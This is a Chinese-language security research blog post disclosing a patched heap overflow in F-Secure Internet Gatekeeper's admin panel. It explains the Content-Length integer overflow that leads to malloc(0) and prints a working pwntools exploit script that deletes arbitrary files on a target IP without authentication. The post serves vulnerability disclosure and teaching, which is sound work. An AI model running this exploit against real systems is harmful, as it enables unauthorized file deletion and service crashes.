F-Secure Internet Gatekeeper 堆溢出漏洞分析与利用

本文详细分析了F-Secure Internet Gatekeeper中存在的堆溢出漏洞,包括漏洞成因、利用方法及PoC代码。通过错误处理的整数溢出,攻击者可以实现未授权远程代码执行,展示了内存安全漏洞的严重性。

F-Secure Internet Gatekeeper 中的堆溢出漏洞

2020年2月3日 - 作者:Kevin Joensen

F-Secure Internet Gatekeeper 堆溢出漏洞详解

这篇博客文章阐述了我们发现的F-Secure Internet Gatekeeper应用程序中的一个漏洞。它展示了简单错误如何导致可被利用的未授权远程代码执行漏洞。

复现环境设置

所有测试应在CentOS虚拟机中复现,至少需要1个处理器和4GB RAM。

需要安装F-Secure Internet Gatekeeper。过去可以从https://www.f-secure.com/en/business/downloads/internet-gatekeeper下载。据我们所知,供应商不再提供易受攻击的版本。

原始受影响包的SHA256哈希值为: 1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26。

安装步骤:

(1) 如果使用x64版本的CentOS,执行 yum install glibc.i686 (2) 使用 rpm -I .rpm 安装Internet Gatekeeper二进制文件 (3) 为了更好的调试体验,安装 gdb 8+ 和 https://github.com/hugsy/gef

现在你可以使用GHIDRA/IDA或你喜欢的反汇编器/反编译器开始逆向工程Internet Gatekeeper!

目标

正如F-Secure所描述,Internet Gatekeeper是"在企业网络网关级别提供高效且易于管理的保护解决方案"。

F-Secure Internet Gatekeeper包含一个运行在9012/tcp端口的管理面板。这可用于控制产品中所有可用的服务和规则(HTTP代理、IMAP代理等)。这个管理面板通过用C语言编写的fsikgwebui二进制文件在HTTP上提供服务。实际上,整个Web服务器都是用C/C++编写的;有一些对civetweb的引用,表明可能使用了定制版本的CivetWeb。

它用C/C++编写的事实引导我们寻找内存破坏漏洞,这在这种语言中通常很常见。

通过使用Fuzzotron(使用Radamsa作为底层引擎)对管理面板进行模糊测试,很快就发现了本文描述的问题。fuzzotron具有内置的TCP支持,便于模糊测试网络服务。作为种子,我们提取了一个有效的POST请求,用于更改管理面板上的语言。此请求可以由未经身份验证的用户执行,这使其成为良好的模糊测试种子。

在分析由radamsa变异的输入时,我们可以很快看到漏洞的根本原因围绕Content-length头。导致软件崩溃的生成测试具有以下头值:Content-Length: 21487483844。这表明由于错误的整数运算导致溢出。

通过gdb运行测试后,我们发现导致崩溃的代码位于fs_httpd_civetweb_callback_begin_request函数中。此方法负责处理传入连接,并根据使用的HTTP动词、路径或cookie将它们分派到相关函数。

为了演示问题,我们将向运行管理面板的9012端口发送POST请求。我们设置一个非常大的Content-Length头值。

1
2
3
4
5
POST /submit HTTP/1.1
Host: 192.168.0.24:9012
Content-Length: 21487483844

AAAAAAAAAAAAAAAAAAAAAAAAAAA

应用程序将解析请求并执行fs_httpd_get_header函数以获取内容长度。随后,内容长度被传递给函数strtoul(字符串到无符号长整型)

以下伪代码提供了控制流的摘要:

1
2
3
4
content_len = fs_httpd_get_header(header_struct, "Content-Length");
if ( content_len ){
   content_len_new = strtoul(content_len_old, 0, 10);
}

strtoul函数中具体发生的情况可以通过阅读相应的手册页来理解。strtoul的返回值是一个无符号长整型,其最大可能值为2^32-1(在32位系统上)。

strtoul()函数返回转换结果,或者如果有前导减号,则返回转换结果的否定表示为无符号值,除非原始(非否定)值会溢出;在后一种情况下,strtoul()返回ULONG_MAX并将errno设置为ERANGE。strtoull()完全相同(用ULLONG_MAX代替ULONG_MAX)。

由于我们提供的内容长度对于无符号长整型来说太大,strtoul将返回ULONG_MAX值,在32位系统上对应于0xFFFFFFFF。

到目前为止一切顺利。现在出现了实际的错误。当fs_httpd_civetweb_callback_begin_request函数尝试发出malloc请求为我们的数据腾出空间时,它首先向content_length变量加1,然后调用malloc。

这可以在以下伪代码中看到:

1
2
// fs_malloc == malloc
data_by_post_on_heap = fs_malloc(content_len_new + 1)

这导致了一个问题,因为值0xFFFFFFFF + 1将导致整数溢出,结果为0x00000000。因此malloc调用将分配0字节的内存。

Malloc确实允许使用0字节参数调用。当调用malloc(0)时,将返回一个指向堆的有效指针,指向最小可能块大小为0x10字节的分配。具体内容也可以在手册页中阅读:

malloc()函数分配size字节并返回指向已分配内存的指针。内存未初始化。如果size为0,则malloc()返回NULL,或返回一个唯一的指针值,该值以后可以成功传递给free()。

如果我们进一步查看Internet Gatekeeper代码,可以看到对mg_read的调用。

1
2
3
4
5
// content_len_new 没有加0x1。
// 所以 content_len_new == 0xFFFFFFFF
if(content_len_new){
    int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)
}

在溢出期间,此代码将在堆上读取任意数量的数据 - 没有任何限制。对于利用来说,这是一个很好的原语,因为我们可以停止向HTTP流写入字节,软件将简单地关闭连接并继续。在这种情况下,我们可以完全控制要写入的字节数。

总之,我们可以利用大小为0x10的Malloc块和任意数据的溢出来覆盖现有的内存结构。以下概念验证证明了这一点。尽管非常原始,它通过翻转标志should_delete_file = true来利用堆上的现有结构,然后随后用我们要删除文件的完整路径喷洒堆。Internet Gatekeeper内部处理程序有一个decontruct_http方法,该方法查找此标志并删除文件。通过利用此漏洞,攻击者获得任意文件删除权限,这足以证明问题的严重性。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
import time
import sys

def send_payload(payload, content_len=21487483844, nofun=False):
    r = remote(sys.argv[1], 9012)
    r.send("POST / HTTP/1.1\n")
    r.send("Host: 192.168.0.122:9012\n")
    r.send("Content-Length: {}\n".format(content_len))
    r.send("\n")
    r.send(payload)
    if not nofun:
        r.send("\n\n")
    return r

def trigger_exploit():
    print "Triggering exploit"
    payload = ""
    payload += "A" * 12             # Padding
    payload += p32(0x1d)            # Fast bin chunk overwrite
    payload += "A"* 488             # Padding
    payload += p32(0xdda00771)      # Address of payload
    payload += p32(0xdda00771+4)    # Junk
    r = send_payload(payload)

def massage_heap(filename):
        print "Trying to massage the heap....."
        for x in xrange(100):
            payload = ""
            payload += p32(0x0)             # Needed to bypass checks
            payload += p32(0x0)             # Needed to bypass checks
            payload += p32(0xdda0077d)      # Points to where the filename will be in memory
            payload += filename + "\x00"
            payload += "C"*(0x300-len(payload))
            r = send_payload(payload, content_len=0x80000, nofun=True)
            r.close()
            cut_conn = True
        print "Heap massage done"

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print "Usage: ./{} <victim_ip> <file_to_remove>".format(sys.argv[0])
        print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"
        exit()
    massage_heap(sys.argv[2])
    time.sleep(1)
    trigger_exploit()
    print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])

当前漏洞利用的可靠性约为总尝试次数的60-70%,并且我们的漏洞利用PoC依赖于先决条件中列出的特定机器。

获得RCE绝对应该是可能的,因为我们可以控制确切的块大小并在小块上覆盖任意多的数据。此外,应用程序使用多个线程,可以利用这些线程进入干净的堆区域并多次尝试利用。如果你有兴趣与我们合作,请将你的RCE PoC发送到info@doyensec.com ;)

此关键问题被跟踪为FSC-2019-3,并在F-Secure Internet Gatekeeper版本5.40 – 5.50 hotfix 8(2019-07-11)中修复。我们要感谢F-Secure的合作。

堆利用学习资源

漏洞利用演练

  • Linux堆利用入门系列:Set you free() – 第1部分
  • Linux堆利用入门系列:Set you free() – 第2部分

GLibC演练

  • GLibC Malloc for Exploiters - YouTube
  • 理解GLibC实现 - 第1部分
  • 理解GLibC实现 - 第2部分

工具

  • GEF - GDB的附加组件,协助漏洞利用。此外,它还有一些用于堆利用调试的有用命令
  • Villoc - 堆的HTML可视化表示

其他相关文章

  • !exploitable 第一集 - 破解IoT (2025年2月11日)
  • 使用r2pickledec反转Pickles (2023年6月1日)
  • Play Framework中的CSRF保护绕过 (2020年8月20日)
  • LibreSSL和OSS-Fuzz (2020年4月8日)
  • 不要克隆那个仓库:Visual Studio Code^2执行 (2020年3月16日)
  • Electron-Updater中导致RCE的签名验证绕过 (2020年2月24日)
  • Solo固件的安全分析 (2020年2月19日)
  • 凝视聚光灯 (2017年11月15日)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计